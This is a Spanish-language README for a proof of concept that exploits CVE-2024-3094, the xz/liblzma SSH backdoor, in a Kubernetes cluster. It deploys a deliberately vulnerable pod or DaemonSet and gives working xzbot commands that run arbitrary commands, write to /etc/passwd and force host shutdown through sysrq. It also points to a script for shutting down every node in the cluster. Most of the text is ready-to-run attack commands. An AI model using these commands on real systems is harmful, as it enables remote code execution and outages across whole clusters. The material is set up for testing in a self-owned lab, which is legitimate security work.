
POC básico para probar la vulnerabilidad CVE-2024-3094 dentro de un clúster K8s
POC básico para probar la vulnerabilidad CVE-2024-3094 dentro de un clúster K8s
Desplegaremos un pod vulnerable y lo explotaremos para ejecutar comandos dentro de ese pod vulnerable. Lo hacemos dentro de la misma red por razones de seguridad. No exponemos el pod vulnerable a Internet, pero es el mismo concepto.
Esa vulnerabilidad permite ejecutar comandos dentro del pod, incluso si el pod se ejecuta con un contexto de seguridad. Por ejemplo, puedes apagar el host que ejecuta el pod.
Si esa vulnerabilidad se ejecuta en un solo pod, puedes apagar el host, dejando temporalmente no disponibles todos los servicios que se ejecutan en ese host. Pero, si la vulnerabilidad se ejecuta como un DaemonSet, puedes apagar todos los hosts que ejecutan ese DaemonSet, incluso apagar todo el clúster.
Primero, instala xzbots en el clúster
go install github.com/amlweems/xzbot@latest
Descarga el repositorio y despliega el deployment/daemonset vulnerable
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# O daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Obtén el nombre del pod
kubectl -n vulnes get pods
# Reenvío de puertos del pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Ejecuta el comando, por ejemplo, escribe en /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Verifica el archivo /etc/passwd
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
Continúa y apaga el host
# Habilita sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Apaga el host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
También puedes apagar todos los hosts que ejecutan el daemonset
source shutdown_nodes.sh
Cuando ejecutas el bucle para apagar todos los hosts, si recibes este error:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Dale más tiempo al reenvío de puertos para que esté listo; puedes aumentar el tiempo de espera en el bucle.
La imagen de contenedor utilizada se generó con el Dockerfile en el repositorio; puedes generar la imagen y subirla a tu registro.
Para generar la biblioteca liblzma.so.5.6.0.patch, puedes usar el repositorio de amlweems que está en las referencias.